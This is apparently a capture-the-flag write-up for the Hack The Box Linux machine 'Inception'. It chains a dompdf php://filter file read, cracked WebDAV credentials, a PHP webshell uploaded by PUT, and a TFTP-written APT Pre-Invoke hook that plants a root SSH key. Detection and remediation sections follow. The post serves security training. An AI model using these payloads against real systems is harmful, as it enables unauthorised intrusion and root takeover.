Skip to content
Back to all posts

HTB: Inception

· 18 min medium Linux Inception

A layered exploitation chain through dompdf LFI, WebDAV file upload, LXC container escape via anonymous FTP reconnaissance, and apt pre-invoke hook injection through TFTP.

Overview

Inception is a medium Linux box with architecture that mirrors its namesake film: multiple layers, each requiring a different exploitation technique to penetrate. The outer layer is a web application running dompdf 0.6.0 behind a Squid proxy. The middle layer is an LXC container where code execution lands. The innermost layer is the host machine, reachable only through internal services discovered from within the container.

The box teaches pivoting, container boundary awareness, and the value of protocol-level reconnaissance. Each step forward requires understanding why the previous layer’s constraints prevent a direct path to root.

Reconnaissance

I start with a service scan:

nmap -sC -sV -oA scans/inception 10.129.15.30
PortServiceProduct / VersionNotes
80HTTPApache httpd 2.4.18 (Ubuntu)Page titled “Inception”
3128HTTP proxySquid http proxy 3.5.12Open proxy

Two services. HTTP serves a page with a single image. Port 3128 is a Squid HTTP proxy. The combination of a web application and an open proxy suggests a two-tier architecture with internal services behind the proxy layer.

Attack Surface Analysis

dompdf 0.6.0 (CVE-2014-2383)

Directory enumeration against port 80 finds /dompdf/ with directory listing enabled. The directory contains a VERSION file reading 0.6.0.

dompdf 0.6.0 is vulnerable to CVE-2014-2383: a local file inclusion in the input_file parameter. The vulnerability exploits a gap in dompdf’s CHROOT enforcement. The code checks whether the protocol is empty or file:// before applying path restrictions. The php:// wrapper has a non-empty protocol string that is neither, so it bypasses CHROOT entirely.

AttributeValue
CVECVE-2014-2383
CVSS 3.17.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWECWE-22 (Path Traversal)
Root causephp:// wrapper bypasses DOMPDF_CHROOT because protocol != "" and != file://
Affecteddompdf < 0.6.1

WebDAV endpoint

The dompdf LFI reveals the Apache configuration, which contains a WebDAV endpoint at /webdav_test_inception/ with HTTP Basic authentication backed by a password file at a known path. Reading the password file via LFI yields a crackable hash.

Squid proxy

The Squid proxy accepts external connections but has ACLs blocking requests to internal networks (192.168.0.0/16). This prevents using the proxy as a direct pivot to internal hosts.

Vulnerability Analysis

The exploitation chain requires four distinct steps across two network boundaries:

dompdf LFI (CVE-2014-2383). The php://filter/convert.base64-encode/resource= chain reads any file accessible to the Apache process. This provides unauthenticated arbitrary file read across the entire filesystem.

WebDAV credential exposure. The Apache config read via LFI discloses the WebDAV endpoint path and credential file location. The credential file contains an Apache MD5 hash ($apr1$) that cracks quickly with rockyou.txt: webdav_tester:babygurl69.

WebDAV file upload. With valid credentials, the WebDAV endpoint accepts PUT requests. Uploading a PHP file to the web-accessible directory achieves code execution as www-data inside an LXC container at 192.168.0.10.

apt pre-invoke hook injection. From inside the container, anonymous FTP on the host (192.168.0.1) exposes the full filesystem without chroot. The host’s crontab shows root running apt-get update every five minutes. TFTP (also without chroot) provides write access to the host filesystem. Writing an APT::Update::Pre-Invoke hook to /etc/apt/apt.conf.d/ executes arbitrary commands as root on the next cron cycle.

Exploitation

Step 1: LFI via dompdf

curl -s "http://10.129.15.30/dompdf/dompdf.php?input_file=\
php://filter/convert.base64-encode/resource=/etc/passwd" \
  -o passwd.pdf

The PDF contains a base64 blob that decodes to /etc/passwd. Key entry: cobb:x:1000:1000::/home/cobb:/bin/bash. The username references the protagonist of the film Inception.

Step 2: Apache config and credential extraction

curl -s "http://10.129.15.30/dompdf/dompdf.php?input_file=\
php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" \
  -o vhost.pdf

The decoded config reveals:

Alias /webdav_test_inception /var/www/html/webdav_test_inception
<Directory /var/www/html/webdav_test_inception>
    DAV On
    AuthType Basic
    AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
</Directory>

Reading webdav.passwd via the same LFI yields:

webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0

John the Ripper cracks the Apache MD5 hash in seconds: webdav_tester:babygurl69.

Step 3: WebDAV upload for RCE

curl -u "webdav_tester:babygurl69" -X PUT \
  http://10.129.15.30/webdav_test_inception/shell.php \
  --data '<?php system($_GET["cmd"]); ?>'

Verify execution:

GET /webdav_test_inception/shell.php?cmd=id

Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)

The ip addr output confirms LXC: eth0@if6 with IP 192.168.0.10/24. The @if suffix indicates a veth pair. The host machine is at 192.168.0.1.

Step 4: internal host reconnaissance

Reverse shells fail. The container has egress filtering that blocks outbound connections to the HTB VPN range. All further exploitation must occur from within the container via the webshell.

Port scanning from the container reveals FTP (21) and SSH (22) on the host. Anonymous FTP connects successfully, and the FTP root is the host filesystem root (no chroot). The full system configuration is readable.

The critical discovery in /etc/crontab:

*/5 * * * *   root    apt-get update 2>&1 >/var/log/apt/custom.log

Root runs apt-get update every five minutes.

Step 5: TFTP write and apt hook injection

TFTP on the host accepts PUT requests without authentication and without chroot, providing write access to arbitrary filesystem paths.

printf 'APT::Update::Pre-Invoke {"mkdir -p /root/.ssh && echo ssh-ed25519 AAAA... > /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys";};\n' > /tmp/99pwn
tftp 192.168.0.1 -c put /tmp/99pwn /etc/apt/apt.conf.d/99pwn

The APT::Update::Pre-Invoke directive runs a shell command before apt initiates network operations, executing as root. After the next cron cycle (up to five minutes), the SSH public key is planted.

ssh -i /tmp/inception_key [email protected]

Root shell on the host. Both flags captured.

Post-Exploitation

Container boundary analysis

The LXC container uses UID mapping with a 100000 offset. Container UID 1000 (cobb) maps to host UID 101000. This is the standard LXC security model: privilege escalation within the container does not translate to host root because the UIDs are remapped.

The host’s FTP and TFTP services are accessible from the container without authentication. In a production environment, this trust boundary violation is the core issue. A container compromise should not provide unauthenticated access to host services.

Failed approaches worth noting

The dompdf remote font RCE technique (fetching a malicious font via CSS @font-face) was blocked because allow_url_fopen = Off in the PHP configuration. Reading the PHP ini file via LFI early confirmed this limitation. The Squid proxy ACL blocked pivoting from outside. SSH with the cracked WebDAV password (babygurl69) failed for the cobb system account.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1190IDS signature for php://filter in HTTP query strings
ExecutionT1059.004File integrity monitoring on /etc/apt/apt.conf.d/
PersistenceT1098.004SSH authorized_keys file creation on host
DiscoveryT1083Anomalous FTP read patterns (bulk config file access)
Lateral movementT1210TFTP PUT to system directories

Network-level: TFTP traffic to system paths is abnormal. Any TFTP PUT operation writing outside a dedicated TFTP directory should trigger an alert. FTP sessions reading system configuration files (/etc/crontab, /etc/apt/apt.conf.d/) are highly suspicious.

Host-level: File integrity monitoring on /etc/apt/apt.conf.d/ would detect the hook injection. Any new file in that directory warrants investigation. SSH key creation in /root/.ssh/ should be monitored and alerted.

Remediation

PriorityActionEffortImpact
P0Upgrade dompdf to a maintained versionMediumCritical
P0Remove TFTP or chroot to dedicated directoryLowCritical
P1Chroot FTP to a non-sensitive directoryLowHigh
P1Remove WebDAV test endpoint from productionLowHigh
P1Restrict apt.conf.d writes to root only (700)LowHigh
P2Disable anonymous FTP or require authenticationLowMedium
P2Add network segmentation between container and hostMediumMedium
P3Audit all cron jobs running as rootLowMedium

The fundamental issue is the trust boundary between the LXC container and the host. A container compromise should not provide unauthenticated access to host services. TFTP without chroot is a write-anywhere primitive; FTP without chroot is a read-anywhere primitive. Together, they give a container attacker full control of the host.

The apt-get update cron job running as root creates a five-minute exploitation window. Any scheduled privileged command that reads configuration from a writable directory is a potential injection point. Minimise root cron jobs and monitor their configuration directories.

Key Takeaways

  1. php:// wrappers bypass CHROOT in dompdf. The CHROOT check compares the protocol to "" and "file://". Any other protocol passes without restriction. When testing file inclusion against dompdf, try PHP stream wrappers before assuming CHROOT is effective.

  2. FTP without chroot is a read-anywhere primitive. Anonymous FTP exposing the host filesystem root makes the entire system configuration available: cron jobs, service configs, passwords, and application credentials.

  3. TFTP without chroot is a write-anywhere primitive. Combined with a privileged cron job that reads configuration, it produces a clean root escalation. The same pattern applies to any writable path feeding into a privileged execution context.

  4. Container escape requires host-side services. The LXC boundary itself held. The escape path went through misconfigured host services (FTP, TFTP) accessible from the container network. Container security is only as strong as the services exposed to the container’s network segment.

  5. Error messages are existence oracles. When TFTP read of /root/.ssh/authorized_keys returned “File must have global read permissions,” that confirmed the file existed with 600 permissions. Protocol error messages reveal more than their authors intended.